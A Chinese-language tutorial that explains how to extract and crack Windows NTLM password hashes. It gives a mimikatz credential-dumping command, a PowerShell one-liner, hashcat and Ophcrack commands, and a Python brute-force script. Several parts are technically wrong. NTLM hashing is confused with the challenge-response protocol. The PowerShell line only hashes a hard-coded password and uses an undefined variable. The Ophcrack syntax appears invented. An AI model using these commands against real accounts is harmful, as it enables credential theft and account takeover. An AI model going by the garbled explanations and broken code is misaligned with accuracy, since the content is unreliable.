一、了解NTLM hash值的概念
NTLM hash值是Windows平台上使用的一种密码加密方式,包括两个部分:一个是挑战(challenge),另一个是响应(response)。密码的明文不会明文传输,而是通过哈希算法生成一个128位或NTLMv2则是256位的哈希值,即摘要(digest),再与挑战结合后,作为响应值发送给服务器做比对。
二、如何获取NTLM hash值
获取NTLM hash值需要具备管理员权限或者本机具备缓存的用户的口令哈希,未设置缓存的用户则无法获取到。有以下两种方式获取:
1、使用工具如mimikatz、Cain等,这些工具具有提取缓存口令哈希的功能,一般用于安全渗透测试;
// 使用mimikatz提取hash值 privilege::debug lsadump::lsa /inject /name:{username}
2、通过域控制器获取,在域控下查询口令哈希,可以使用PowerShell命令或直接在域控制器中运行dsusers.py等脚本。
// 使用PowerShell命令获取hash值 Get-ADUser -Filter * -Properties * | select-object Name,PasswordLastSet,PasswordNeverExpires,@{n="PasswordAge"; e={New-TimeSpan -Start $_.PasswordLastSet}},@{n="UserStatus";e={if($_.Enabled -eq $False){"Disabled"}else{"Enabled"}}},@{n="LastLogonAge";e={if($_.LastLogonDate){New-TimeSpan -Start $_.LastLogonDate}else{"Never"}}},@{n="SID";e={$_.SID.value}},@{n="Hash";e={(([System.Text.Encoding]::Unicode.GetBytes($($_.samaccountname + ":" + 'SecretP@ssword!'))) | ([System.Security.Cryptography.HashAlgorithm]::Create($hash_type).ComputeHash($_)))}}
三、Cracking NTLM hash
Cracking NTLM hash的过程就是利用已知的口令哈希值,尝试匹配出正确的明文密码。这个过程一般需要使用专用的工具,如hashcat、John the Ripper、RainbowCrack等,这些工具会利用诸如字典攻击、蛮力攻击、规则生成等算法,对口令哈希值进行不断地尝试,直到匹配出正确的明文密码。下面是一个用hashcat进行字典攻击的例子:
// 使用hashcat进行字典攻击 hashcat -m 1000 -a 0 ntlm_hash.txt rockyou.txt
四、使用彩虹表攻击NTLM hash
与普通的破解工具不同,彩虹表是一种基于预先计算出的密码与哈希值的对应表,一般以特定的哈希算法类型、字符类型和长度为输入,生成包含大量密码与哈希值对应关系的表。这种方法缺点是需要大量的计算和存储成本,优点是速度很快,尤其是对于较短的密码而言,一些现成的彩虹表工具WebCrack、Ophcrack、RainbowCrack等均可使用。
// 使用Ophcrack进行彩虹表攻击 sudo ophcrack-cli tables:all --lm rainbow_tables --pwd-max-len 8 ntlm_hash.txt
五、采用暴力破解NTLM hash
暴力破解是指对于一个口令哈希值,逐个尝试每种可能的明文进行匹配。这种方法速度最慢、计算量最大,但是可以匹配出任何密码。对于较长的密码,其匹配时间可以达到无限长,故较多的情况下不被采用。以下是一个使用Python进行暴力破解NTLM hash的例子:
import hashlib import string import itertools # 输入的ntlm hash值 ntlm_hash = raw_input("Enter the NTLM hash: ") # 生成字符集:小写字母、大写字母和数字 character_set = string.ascii_lowercase + string.ascii_uppercase + string.digits # 尝试的密码长度 password_length = 6 # 用于生成密码组合的函数 def generate_combinations(password_length, character_set): for item in itertools.product(character_set, repeat=password_length): yield ''.join(item) # 循环尝试每个密码进行匹配 for password in generate_combinations(password_length, character_set): ntlm = hashlib.new('md4', password.encode('utf-16le')).hexdigest() if ntlm == ntlm_hash: print("Password is: " + password) break